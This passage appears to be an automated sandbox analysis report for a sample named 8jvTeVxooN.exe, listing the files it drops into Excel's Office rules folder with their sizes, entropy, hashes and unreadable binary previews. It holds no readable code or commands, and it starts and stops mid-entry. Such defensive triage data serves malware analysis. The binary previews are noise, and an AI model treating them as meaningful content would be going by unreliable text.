X.M..U.4..,."...F......V.Hew..O...6.e...Ts<\.?...`[2\...t/{..9HE...`....k...k.`.mG....-./..6..F.uG..HJ...s.Py...Z.B.=.84.........T...........~.u>...tjJ......w<.If.,Z...k...xG....54J..N.a.v.X..p.t[m.P........Z...'....=.rz.<..]v..ce..d..J....x5..#.....s.qZC"ihB&...=c..!.Y..6LG_nd....Y..U.{.U....`.S..t{y..M5...\|5d....<. ..Sk+..(.....$.X..#..,d,.v.@..P....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11705v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3505
Entropy (8bit):	7.938274659189422
Encrypted:	false
SSDEEP:	48:HBZqM3vDRYhG9RMH6ZKG/lvYS7vShJRUL4UV7WyzGaXhv8SdTxgTDjjfxz6D:HKGNSG940KG/lvH6/RULp7J/dTxe5m
MD5:	09E7F1103FBF09F1A7DDA3986947F83B
SHA1:	6EFC89D8A988AEE19F3E281967A88BB2787DD986
SHA-256:	443940F2BB2CF31A6CE4A863116C11DF0B5AE862E31AB95F3261F65E6EC02E26
SHA-512:	A08D9CEF1C7D5C51D9D229BD7D2E56F3A11FF828D8923FDE0CDBA8157D63867CC37D7FD0CC3BE5FB0C4C2BE91935F4A612A5BD096395CF3C817F42A658C54C0B
Malicious:	false
Preview:	<?xmltL}.....!o.4..`x.f.o'?..?d.....G..+.O.pC...{H...k.....&....W..#u..~.."X.O.;zNK~{........R....R...6...>5..\.0}.%....._..2.......n[.m.6... \Wc.....q..?....#k.u}Fm..V....;C.].9.J........}....2..bH....Y.....<r.~.9.e:'Eb=....w.o...#..Y......g.kpy..c&..~..0M..1..]KA..W..z.jl.s1.U.}....C..O..E...s.AR#.g.m..#..!...R.EZ.4.....K...]..{2<V...a/......3.h...r.d.i.OW).V.B.o}(7H...^)...>}D.OeH.f.n`..1._.`.CO..o.kO.\|cEw`..z=..WNW..(...i.z..) e...Az.^....d."m_.L.{n......Y...5..)R..?of{z......C3..V=..`..Y%.O#.MvwQ..E...Ig...J.].k..V......j......P5.....?..:..^iv~....N.RV.^...(..\|Q..".....a.?.tGw.\>..Y....w/..E....0+u.K$...y\|..A...^JS..8...H.d.\..3.o..3.D..y.!lK..].n\9..;.....:D..vW.Z.O6y..j.0hj....P.jf.;.J...M....fWM..N,D.j....7{.*}...Mb.0.a...`\|...S..+.....rx.).v.o...M..)g..So..[...C....x...a.-...Y.k:...Jr.&...G......a9.2!...P.:/.0lI[..=E.i/.2X.......~.c..?.U...%.....V}.!...s`Jz./.2=$.;....p. 5.+..tD.#.)j^.......-..x..ojkd.+.o..qV.....^...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11710v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.808841544507332
Encrypted:	false
SSDEEP:	24:eQD9HZkpD6cF35A/+5QCcqzgvhILmjLeP/VxXF24IS4oObD:1DVZOD64ekQvq0SLmnubFbWD
MD5:	790C0E87466C8D5E9B7D578D8BF0E0E1
SHA1:	9EC14FD0F0A3DF35D46D16DCCFE15E5A6A5ADD20
SHA-256:	1085FFC8EE40851F7BE91234CF3A768AC2B2662C66A13D4B49EE8034B6204339
SHA-512:	B8BB990EC1327775BF3DE2C174A0D9B80DB17723A2BB884BE74319987E2B9C99DA6A73B9A4CEC856988251105516FE8898EFB63C796C62AE28AE825FCBC3C306
Malicious:	false
Preview:	<?xml8.._...(..Y...2.W.;.5..Mu....'6.....?lxlc.z..._Pbh..\|...'.Af...#.,./@....=....q.^n.L!.~4zi.X.8..R..~.J..jK.U.g6.F.yD...zw..B..b.....H....u.V....t...S\|.._..H^.W%0....i.:k.O.i[..........M. @.....M/^..>.2....u....\.r6..}6..b.#Z..\..._IV+.EK .w..~(..7tg......K.&.Ef^.....y.H)F.$h.........3C..I~.,.D?. ~...$s.......k.l.6.^.[..3...1(..'.?rS....P.G..3...3.....9.O.......l.w.......u.5....._..V.Zu......)x..Y....V.... t.D.q.u.P...)o..a:..L..P..mf.W[RJ._I$.JW......5Z....=<<..z........hq..<.1)4...U.kh.x.......S.p.........>..!..K...V...+?..ja/aU.....6...>\%^.J..WA.......;...M.E..b....p"...m.%:$W...8L....0..H.6P..........$..?.....p......n....i.G>..V.%...,W...>..@...Mic_a56....<.V.Y.R.F.C./I...Cv.M....Y...9..K..xc....!/6\..".......i..b......A#,.7V1..4.....:...?....Q/......k\|}.gq...r...N.k.#`.i..-4..o.+.Op.9.....).9.........X...M.[.rL...<s...Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11767v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2983
Entropy (8bit):	7.936756215448262
Encrypted:	false
SSDEEP:	48:h4UUjx6Tgxl325pd3nZ/AnsQDduiCrFTLyVVN6mHawO5z7llwkoEJ0os+YKXreED:aNEgf34pRpAsQDd/CrFTLyV76oc5zDLB
MD5:	6EE564D8A7FFB96D886E1B9E3CB717B0
SHA1:	0D65ECC591F9C8199D07839BFE90CC10AFB846CA
SHA-256:	21768E2A5DA3F6559106049B6EA1FC55EDBC21FB5A3668059BB365E0799FA007
SHA-512:	FFED1EA402911D714CD4BFB8EFFAACF8F8FBA2700DFEE74E1E876415B714FA0D20175AAE4C4A4D6EAAA6332B6D09AB30A9D509471ED49C236A472347DA1E7E6D
Malicious:	false
Preview:	<?xml..Uz........z...M.W.....{..p......z\Ol..X....4F......}.S..D7).Y......k$X....7.....O.3K.i.o.fM...Y]...(.2.z...x..o...!...+>..0..U...W..a.2..!6.<..k4...'.....X.+.a~.}BR..v!}..Q.....T.....;p3.:.c.6..=#..c.`....~.:O[..^.`.;.O;q...Hto`.w{.-#.....,..l.&a..n.:@r....x..x{.r6i{.....1f>@...S.f+.P.c.6..u..v.PE.u;..TiI.x......i.H.v.1..(...H\|Q..%.q.`....s.\c...f.).u..DgU..$.Q.bn.......Q.0W.Wv....i^2Us......Lxnc'..x..r.V[9...w9.s......G......qZ.K8..t.-+.QI...<..t)..\|.2b....l.)8..I...=O.6R!.....Y\T....o...pT.a.n.q...(.......gO.......]..8.P...j......g.....=..K.B......{.......MI&Y&<y.....2:N0A.^.=.MSH...<.....<.b/...k.'..x.....W........c.H.b.A.g.Jq..7\".n..r..}}P>P1f.i._C.._...LB.........s)vm..f.7e..&C4Z}.M..8..@i.`T...S..............e.._..6..4.C...d.^d=....3...0Cp..._.{.VNH$/....q..6k.Y.."..O.....d.q...C....z..2...7ck...X.N..eL.._q....7....h.".G....k....%MI..5o...UxF.h.F{7.S...#d~[..C.2.$....T`._8Lr1.(..r.NQ.......d.Ez.(.l.T....0.r!.......I..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11768v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2487
Entropy (8bit):	7.907275437350402
Encrypted:	false
SSDEEP:	48:/E3dLgCg17SAbv6Pc3xMVql9ioIJDhlKeG6XctwCnbo5NLOe6HCyD:MFgCgE5ql9iVhOeRc2koa7T
MD5:	817DB0068567D9FB3DD181CACD9B0756
SHA1:	B31921B3E43D0DBCF50EDB9152E9CC45D9842662
SHA-256:	A1B0570D480AFC150B2F10BEE8DD52BD6EC7910269C953AB70238036E0253B12
SHA-512:	658833A272928A4D534A65E94F621C3B8CC29CED434E27CDEA5A147B337D0267CB6C4104790DC9F4BF3FE30DED0721558F2257708EF8ED68A85C2DFA9817C84E
Malicious:	false
Preview:	<?xml./3)...5.#...=.0..!E..d..J.[...p.j.8./..+.:&.y:G...}c/..g.....Cp..."....e.....Sn.\|{=B.Y.....%3....~. CQ%S..HmO......B..wW.(..F.x.&r...\.F\a;......p<.9.....j\.B.?.1.?j. .2..W..S.....w...1d...&.Dh.a.&.Rt.'.....hc.0...~.m....VDk..vd.5S..Cc...\|..} .@..F.....V.Z..6l..]$..,(..:S...%H........m.....'..hT..;7.e.....B\|.p 1.[..^:...W.&.%^.Ez..m.V.c.\/[\|F.z.....O...0.~...o..Cu..`..)...h.=...F....jW...m.f!i.8d.%.j.h.a.......Q!.d.7.%..9...E..F....N^>.......r.f.:...f..N;m.....@......XR{/...x.....5;u.z...._{1.'....5.?...".O>.......P.c$.....a ./?...]......./.G$...J..u...k.7a ..Y..A{..Y..?....T..s...K.6...o.K&?..~..HC.PpX....n..h..q....i...p..y.....%v.A9.][t.........g....?..L.)O.&...R.?...Cb........F.[.oe4/.6.K.N0..w.]5..p{....!........1Z.Y.$.x......?F..e.x.../5n.P.6W....o.K.\|...H+.N....jeN...{).P....q..y..)E._/[bl....F..U...g.~.<...9.3..AC8I..D..8..R..."..]?/.....e..i...\...$[zC.....]g3."......L.WA.h^.).R.,n...g.-.^.......%.7ln.?.,${...o.8'...f,./F...z:{..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11769v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3132
Entropy (8bit):	7.939111344937749
Encrypted:	false
SSDEEP:	96:4HbIm7pDW1yts7l+tRzZ64gzXPehBI43zttR3af3:pcpDOn7lyl646PeNxni
MD5:	0541BA2BC5BAB5A8B53D0425CC665B37
SHA1:	DF3848B8A9E61A5204E0D0602C2B8B57B2E97761
SHA-256:	038B16DDDD92DC16AA0AAFEB834977D6B24992285DBBEE65C03880C5B89201B0
SHA-512:	803B9FCDAD204D01A82EB92841CD06104B6047DE9A56CC340AAE271D961DC33B12B7A2930D3DFF2C151CC6663B2F3675CF5ABB220764C540B527DFB66C9CF48A
Malicious:	false
Preview:	<?xml..+..V.^FX.....~...g...t...s.ml{.1.........s.(E...Y,.;e}....?'........f$..I..._r...+.s..[...O.b.0$./...';'........s..B.%..w........HW.A(..5&xG...5F...\|d.V...]8...F.-fk..O8..BS..+MN.6......Z.$..PT'..)..a..d.'.^..}.i. .e.!.j.^..+.A4v.$c..{.-..I`.G.x.1..x..+_...9......iX.?....};j.P.A.0H.8(Q.......\|..S..'R..".$\0...im.)....?&.\~%h....G.yNS.m.p.<,....'.fz../01..F.6..(...p".Cpt.b...Q......%h....g.,.C....9u.4...5 .....Q..u..'........)c.@~..ZT..>..(..@m?tU...u..m.#.IU..7..,..M.....lW\.~.,"..93.....J~)..(..7...B...D......m....>Vgb<.?...@.l.u.....}............~>K.7..O+]......#.-..=........&..A.<.@.D.+[.....R;./".....=..j.`..n.B......q2..'.y...2.'.....&.....F......x.^`.N...;GJ...\|....y..`...V{-..i........O..xPo...I...QM........l..>.....f..~p;..E.'..(.a.P...........HTU....."q.e.......wQ...Br.D.4h....I....bsv..f.]iuh..qn.6..M.(..G..nFr..Q.p+.:.x.K..C.....-K(J...\|T._.&+@...._.;..'.D.k.u..m?.s..F..O.&..#..(......Ff....v...\|6h`U

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11770v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	4968
Entropy (8bit):	7.966082776235517
Encrypted:	false
SSDEEP:	96:vacZbrSbh95GRBLqg93Z02jQkwgJGgV2j2bEYugmB1NOmjinfZhh:vrr69eB19p2kfJ5VmwEtfNOmji3h
MD5:	3384A430F33D6DCBA88A7EB0106AEF73
SHA1:	DDFC4A60E5A7E6F6C897BA65047E507FDC4F842B
SHA-256:	2188B8133961153511975EF2E18347FAC402446FCD5BE82422547AE34BB64D0A
SHA-512:	0B153C6BF446F436FB7C1401D20A1BC53431DFACC6CBCD703A8841004802428DCD07E52B3E6620A6133F89CC62409FF11C9C0BDA62EF3FEB51953CC78C9FB87F
Malicious:	false
Preview:	<?xmlFL_S}........s..........Y..N.Xc.\|...$....F\|....\|.B..$..}.C..C.;......,:.z..t=t.....H..."l>?..<..S./.1Z.'..._...e...\"!....Xw..{.P..D.......{.WM.FG...7U.}..Q.7.&.0A..y.........L.".N...^.m7(.).w.6.o....fe.D.....v.k[.j......lm.T.)...v.}.{(.!L#(..K....X.@R...J...C....i.a..{..h.>.<.B..x.E...Y.Y....lZ..GBR7......!.._rj.>"\|.z..\.`!.t...\|..d..b#!k..rmM3.<.;....pG....V![.hD...H.$Z..q.H.......].........."!..JF.....A".>eB.....1}~../.b.B.gi...."/ .....m..V5..;..n.<../?J.-e<O.t.-.9..h.i.G.B.N..R.h+}.h...".....fd."3.o..T...D.Ii.\.v.4.(6..?....1G...#.4.R.9.l....G..h..,x'.+-U..k..G....i ...D..P.+(M.`.&...P.g2+..........d....w...v).A..^..K.....a...2..H.."v.h.T.`O...0.E.E7I.b.....?d,..-..>....bR./I.^..\U\|;...}.....0...s7.xn.J...PX1U..g..>A..Kt...X(...v..a.bk...1,.Y/w...T,..P........1].._~R{A.O.{q0.......\{W.&......C._.TxH.1.I".R....,8.O9z.Yj..+..^..l..Y..^V....x/..sp..U.enF.M8..U..G.kr.5'.........QF......s;K....\|.G}...O/a.f..>............r.`?..._s.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11771v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	7596
Entropy (8bit):	7.977638802557685
Encrypted:	false
SSDEEP:	96:5nrxQQ3kZ0+whsWuMNevK0Ru1wJeVjXdiiUazOK9P8IKlVgZnQRUvaMIpBKMcx:12aWvwAMv/1XdRwKNPEUDIpG
MD5:	4352F0C0666F4FB24F2EEC3348704E2F
SHA1:	11E3748F819761B042F95EC2B2DFA1ABF05D5654
SHA-256:	37AB9E0694E4DDFE74F63E816F466117A4042E9C20B09747B1047EF36AA28E76
SHA-512:	F6E83E1DF5F5043912A6A4FAE32C998805E67B966CF1B2C13FE48077EEB494E2D5D704DCAFF9412FA78A8AC39BFC0F9A207AA854305DACD1AE046DB9742E8B1E
Malicious:	false
Preview:	<?xml...Y.J..(.y.".fU...w......c..j.b....,g...:.k..\|.6..m....\..A.F.....o.....I..Pnxa~....S.\|.....e...hCB,....Z.W.e.............,qb.<AU...c.....W.l.R.U.Qy...>.n-.qL._8.....+.=...5..7.....B..rp.4.g.f..&".<..5.R..gG.... ...G6...g.....g......F.6.f....=3.....:.I9&v2.LU,7....M-!.5.....g.....I.....r.Fr.P.-.W.......Y.9._..5.\|.C.+U......%....... {].p.....U.x..2........6.3yI..I...tz..=.>...B...%2d.<.......E.j.l0.5P,..."M.MB-[S....e...-..Et....9r..O.`.."..],.U`..b%.w.....J{C..~.E.(.N..Gh........~...-...1.a....Mkf...pX.6.....>$..PL.....&..w..=.......3.v.......=.O<E.p......^f.J.%.a..p2.$K..U8P.8p.0#&nD........8./.\|y.D......D...7..L....^.6S......1..c.R..s6.m.......lE\|D$&.-.H.".r,..b#..`Z..RhRf.ab....}....s.....L...A....4....K....{..>L._..z..c.lC.aB......e....!..d.w...z.JV..5+.0...6.v.....b'..>.q....\...Ns..%-g.R..D.@&4./.......F3...8I:..-...-m....a..C.(.A.@S\..j..(,.....<L...6.Ez......H..~Hd.fM'....K...gI.r.m.B.q.3... ....../h....;.............5...d.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11792v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	7356
Entropy (8bit):	7.97219064044354
Encrypted:	false
SSDEEP:	96:4dWshuhhulnbVLzlqkjsjW+34uG676yziSz44vp/fWt3PV+9THvCEZzFLFcvts1g:pWZbVPl1sCBru6yziS0u+t9+9z9ZEiUV
MD5:	A9405967C621584A3E56A42E0A1DAC80
SHA1:	DCBFC1CA9FB82ADA15B9F7A435DD4F5BD79F3EAA
SHA-256:	C944EDACB63B47D459045A70EE22CAB5B63C467B5147028F839E8BCAA43624F8
SHA-512:	235EAF79824F88E8A0F0D1DAE93DE3D4892F069E99574808781759E0908E0E48CD5AB598F24A091DFFF96ED39C91ECB49ACA446D178977C1076275279798CE05
Malicious:	false
Preview:	<?xml;..z.a.h.~......S.........F..3.s...&.lji.A.2..W.:.7+=..pB.u....:.R..(..;.+....q.....S....7..$w.$.....Xc.....Z...z...2....F.?.....C!.....c,..)...&z.D.^Og......!..L..##4.B...:q."...@................)J..."-'.....w.....&..0DN.t^d.RGt.x..W....N.....(\.i.6^r Y.G8E....l4.../Fb...N............VH$...a....)_...8.R.!x..{.o+yH.x.O.w........bK......n......wG..SM@.2..1..+.!..h....E..q.M....!.@,r...G...q.X....Xd........./:...[lv.C.N..\|.^..Y._t..\.....7....X1X..&.w.[F..M.S..~.....4c0T...d...7....9qV..w.......d.'......G-R...Q.`...;.J.n%..#...,...E.>...2X;..w.....R....U .aHc.V.......R/...g.3..ra...o.i7Iyw....i....7.=5...^..oH..#".^ST.2USl/..._A..........gX].j..!f...o.9.~o.~a...>5.R.u.....-?.O"3.I..:...q..>..q\..'...8..!....'h...T....[.u...p.......O.\.P...v.-..).D..-x...}.f..L..o.0G...6V........6..!.-...T.V..MV=..#.~.+.?.i.............9..k..3[n.4.2.J..-..f..Nqn./3#....J.....u#.........n.8.A....x..i..<j.7W>"\R..N.w..Jo{~....T..H...c../0...}7M....R..i`H.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11793v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1551
Entropy (8bit):	7.863624083998686
Encrypted:	false
SSDEEP:	48:07S0ugXPfQLBtn18/CN+JoClnmeHxNto2G/NtfD:Ucvn18q0JoSnhHxNa2G/P
MD5:	4A2302C884C33720AF986BEA19F0A72E
SHA1:	02F22BE2DCC9D0012C7CFA35ED10AD23BB08BD73
SHA-256:	53D25869A39A3E425873E28A0062EC17E2006901F0A4063D21DC06641098908B
SHA-512:	6B3BD6DA87D6BABB3948A550813E8A1E169DBD43AE8A80B6E8EDDC43C112B79FBC3A2564ACD5C4753B778A318F4BEFD1374F2D9394C6BD3971ADC4FB156E3ABD
Malicious:	false
Preview:	<?xml.]b.....S..'.U..]...Ug1^p.1..q.z.C.R....E+u.{.....2.w.[=n.".A_.B....2._."&.~.m.s.........&.Q.j.7...Q{...........Z.. b.3)...HwxR...M{D.Xe.........@j.]+{.e.>..O...(Y.o+Y..9Y..f..1.>..7.}...b.T....A..Q-..i..=.p..'Oc?..G...^6h.5j'...I.."B.m..f~..C,.z......w.b.....;...3.A... ...:..W.....>.I....7.K.2!6..m.TJ...K(.....`y.Xn._.K #.F......0..{\|..D.fz!.2..pj/......<;.fd..?Y....G......t]LB.G..R.u{.Z.J........>c..9{.z.[y....7Df.........}-.d.k..`V..Q..".=..,X.T..k....wSU_.....+.3.....Kt..ew....`.....W....d.Z$........S...-&.2`.~h.FG.mC...Q..R...2."..rSD...VK.....%F..o.0..R5.&".....#w/.w...R.\|~.+.r).3.)j...+}.H..w.pc.-.\|$.D..K...Z1..cE.-4.datP#..;..I.U&"T![K}...r...?E4AY.....V..w...y2.n.n...R*uT.D.}...b=>..U..f..6..T...`U.>..!...8..-..>.2.X'7..h..3.Po.}Z....Xh........d.e..{.....c$.>.!..n.>..+....Lth...\|.n...4)!V#8.E.y.nv....d.9~.4.n.R....{..;.@...n.n.....#4.....F]......&.).......#.l...eu...?;.........I.Q.F}.........R.t.e..qV..$..h....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11794v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.869924791348472
Encrypted:	false
SSDEEP:	48:AimhD1ukV/TQJ4CEM1/f+fL+kVcJN2V89c4lGmD:ZjkV/Q4vaIe9B
MD5:	413DC6C5AD402FBDB739AF34E6A05077
SHA1:	57DA5A97EF4852F1A00732E01C5729B942C42519
SHA-256:	E59219D24FBDA23AB700E831A4D410EFC37184724ED9D84A9108DEF18B1C7490
SHA-512:	FF3EAB9E416969AC9A4D178B8BFDA5562FDB5C8EF9508B32649A771015EC224F5B7644A47162B4525F617CC09F9942668AEA6B32BAB1F80929155155D0284707
Malicious:	false
Preview:	<?xml[.P....j%Qk.M.d...l...}/.)...`..2Fh.D..oX.?+.z...6.....Q.....G. _.Ba.........M\...7n...."..\.S......H`..[.J....[j..M...\/@S..c).>Mm..oiX........_1..r.c.\|=..}n.`.(.GeJ...X..Q.....#...Uv........u.R,.T.J.Sc..&...C4i>...F.x..!}..P..l...t.........Z...b.E.._........Xn..'.]&..\..... .N.2.@\|.9)..Z.,,..e.G...>..!...H.....M.D......tN.D.r..3....S....p.%.......5.o...t..$.x!D..Kb..lt2.:..rPd...._......H....S.}XS.........2(][.Y.6......@...pG."cur....!..%.............5;.....H....A[.+..l#.5..KF............j.AEC...K.V.....4"e#;c..1X..C.IC/..M\....\.0...6Z~.]..4.S8_G./..CS......j..K..w..0...>:...D..S.%....c...t...!F..e:;-.....q....m...p...-..'...w.....(.FNh.S.f...s...~...Kp<.z..S..C...{.6i.......4?....j..{../o..^.5...=.........dD.;...".*.,e.r.^.{OgS]....f.+.b.........;.R...v....A.).0..m..q...Cu...I..GX.H......:.....6WSifN...Rt.....X.6.`;H.U...q.T.."..x7R.J..l.9..4.Y..V!..;..L..8...FaI.C.......b.1.)....A....";..]i.2.7....qf3.V9t..o1@........z..cZ.....7..b...k

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11834v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.881673870962626
Encrypted:	false
SSDEEP:	48:6sTUmpULLeXd3wc55ylc5jy25v7QSXUWFVDD:6Iw+3wsQlc357UWPP
MD5:	ADEB96A5926589D215313A9E44AF8B49
SHA1:	EB7DCA3B0539F13DC0E4767BFBA2D3FA93D2C378
SHA-256:	AA6C0ED3952733417555CE53EA4E229F4E2F648D498BA939901FCE8288D44172
SHA-512:	C4E4F8D75C2358E4D597C4B3AB96FC8790E1520C865B487C989B4387F6DC430A27B7F44F0ED3F56D23196C80B0770B11B00636344C44A42DC1C05D7113EF16EE
Malicious:	false
Preview:	<?xml..u......U;..0..5.V...!.^.(`K.c.}F..d../....U.}......v^R..q.4.[..$P..p..E.L.h...;$._...4i..'.(......0..n...[.#.M..%.a.....e~.%Nd..0..V.......^,......s....aw.\..n.......[2Q..5t..p..&..;.vN;..p...U......-.}x...&...FYy..T.......f...q..8...V6t..i.O....D1Y..$R...vZ..!..$..^....p.'. )x.......\;.......H....z...W$2..@4b4.%{T.E..A].9v..5.F.EC.b.........?k.D~.kX.+.....#..........t..J>.......8..r.?....%!X^W.c..@.a..R..>.U.`mN.n.64...G-S.n..7g.{...`..}..\.a:#:#.j..B.....V..t..JwK... .b.a{..cO&.....N5..7;k0A.....k...X)...tt....u8...'.1..p.(1..-....p....B.....O.A.G..:. ...-Dtb....;.>.D.>.....B`....v..H....;.u..6..U...y......c..;...p.K....e./......yk.e:.Z..Q..b...u...P].`....1......M.:(B..zP\|.....]..Q2...(...l.5`.(....v..zWZ...NB.R.9..%&.&.h4..`...+....N.............^F...$.1.G..m.3.... ..d.t..MV....i...C}...fzq1...-....eL.'k....B.e[.N.AE..j...J..z....F..o9...K=..f...s].....x......RF.T.yL.R...?Tu..D..5.`.'.H.....5.....c.8./u..e...i.N.}....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11882v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1448
Entropy (8bit):	7.870914402981733
Encrypted:	false
SSDEEP:	24:XGkKHYTCNn4jgpe/E2jrnlTjwQLDwmKHiNWWc5aJU8hTKfhY0Vtn24yfA/UObD:2gTCmNDJpG+U8N1M4t03D
MD5:	3789BD4FEAA6D015DB7F5F4328128155
SHA1:	3C95548CDEF1BFA19A26756F9549666A29866889
SHA-256:	676783DD4782EA74CF027D7B14D21D111743D49A88F5F39CB20791D09E534271
SHA-512:	72F229DB3DB3AFCB4FE27D532BC0FB92CFFB4DCAC0994390B979311C989C2A4943DC70C07B45921C9295D457ECCB118CDEDCAEE2086C3DB15A224839182AC09B
Malicious:	false
Preview:	<?xml......0.+..Q..}f...s.#..@3...9.{P.}.^I..#......D8../...`....A../..j.e..O.@(f1..dh.E...t. ^l.....V..>]..G..>..X:.....!..f.u...+...I..\|]PI..^.j.#.z.dF5.K..h.<.-.^`.2.l./..{.Q....{....6.m..>...9R.T.^R..d\|Mb..b-:..\|..ZW..Im.Kv.COG8.....X!.:1..;.x........V.....r.....;].>.8..H..Y.c.R...Tfu...koe.-._....y"...$.:............Z.Y.Mo...... ....4...?.b..."'..Zu.....o......VuLr..Q.ev.5tb7..v.(..N.....T`..A.6..#....X+...n.....'P..........$..S...#O:...;.-:.....H..w..o.w~.7...>Pz....r..B...)......C9...K.!w...Fb......U%^.,.....N.Y.......m.8....Rj?...$3..n-...DK!g]..>..j.;..7.zN.Y4....+M..l..a.I.UJ....... .0...8PU....U..%?.R.E..1C...?..).Fg=.a`...{.i..GY.L#..(lK.8hV.}.;..`....55.=I.4.g.s..w..?...6.Xb[.N......%.}.....5..._7q.\.%.. ..g....}...-.h..f0.J.lc..].W...)......=U...Z..\.l..+rt#z......S.O{.9.v.A.O...k..;..........\...?.u.<..B^.......).).N..F.jbK..4-hih.~....P._..6R.....A..zP....?NXp6.QIC...R,.!.3..R*..^Z.M..5...U...D(.dQ.d..,.O..r_...Ss.aU.@X.>'

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11890v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	7.874196561023457
Encrypted:	false
SSDEEP:	24:XfaHlO5w8NKzovhmHBmND2+qVwhtB9WWkkk/sSa7bRIPLzPa88uxLZq7gY/9LMmI:XkO+MRwifXkkksSa7buHCwq7pL+D
MD5:	C4F53FAC41AF5DF2A00A408C549C4E62
SHA1:	3C4F5B3D51F9001EFA07B4A708D9EF624A571D09
SHA-256:	8533B40811EE05B780E268B6C413B0056247C09F74FA056587C568745B9194A0
SHA-512:	B23C4CEE4C367C0A032806CFDE6869186B70B7191F131AFF8F6798BE9621A6C54FEAF061BFA5C880BE57A6E38B9BA4CE4B1A41F6F1E8C03F70AC4BE8F6292E73
Malicious:	false
Preview:	<?xmlY ...(..]rEp.p~$.\|, ..H8.f...i.._..P3b.X...A)\..u.y.Q"W.C......E\|_L._^..8...CSv".A..!..w..f.f.L7w.....6.j.y.`....;l.%.o.G.e..VF.t.9.0.C/...{k...z..\|+.E.5.............0.s.ja.....uT...4...z.......P..r....W.A.Sk.K8:M#C...."....d....VhM.=.(7]-..Au..4{............o.a....3p...)@.`U.....WY.=.S..f._..b.X....vJ.....;..v<...n.'..."'E..#)k...r..ej...<R]F...;.R.n.m.H0.nP..............Qy.`G....\|.sn..Hd.U..;.1i.:..^.M..t..Bs.^8........G.\..CP 0d....y5/...._..Q@+.X>.....+....K.L>.n.~.S.~E..."....f.W.e.....\|...9..#.%~.....;..Q..Gn....D..B`....x..aK.<...Q..U....."......[.Nj8...."c....X..F&.....p..l:.;........\|3....W\|........$.~...J4S.c.}.[`#..o.......%..<..\.PW .^.>bnKZ..........oEH..."i6.y"...a.......:..x$q......\|l3i.... ..R.... ..r-.v.F...'Qd.O........N....r.<dn .Z?.w.g.!.-...hy...{..z6..(...g.J..r..e[.6.-..q.....X(X6.\|cB....t6..4.....%.^.D.(.^.r..N....(...;uZ..I=~q.....a..l.%...+ ......I..Y.X.....-.T......n,..X..7.....0.P`.....D...nz..w.g....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11930v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1546
Entropy (8bit):	7.862112595684842
Encrypted:	false
SSDEEP:	24:Api88LZn309nu7XoCqDvkBMG45lBd6QU7pXmlXBAM66Y7sQ71KNdzOQNEgod7dmX:M8LCabqYKiQhaMXY7sQpKNBYR+vD
MD5:	EA9F11F7E595DD61D6E8C8E7E8F0C057
SHA1:	7BF746F0C1F36E5075FFBBC37C9C3DEACD039B5F
SHA-256:	61A68A6845BDAA9F9E9E25C7B833C13C7A3FAAE9C9E298E242454BD2F365CE33
SHA-512:	CB3868DD43CF3CEB31E0F2902AA9C3F253F0EFAFE4DC7E153ACCDFEE68CEA30286E7A66B31282EA50B80C55F68092E39A7DF35BD30E340FB14893872503A1431
Malicious:	false
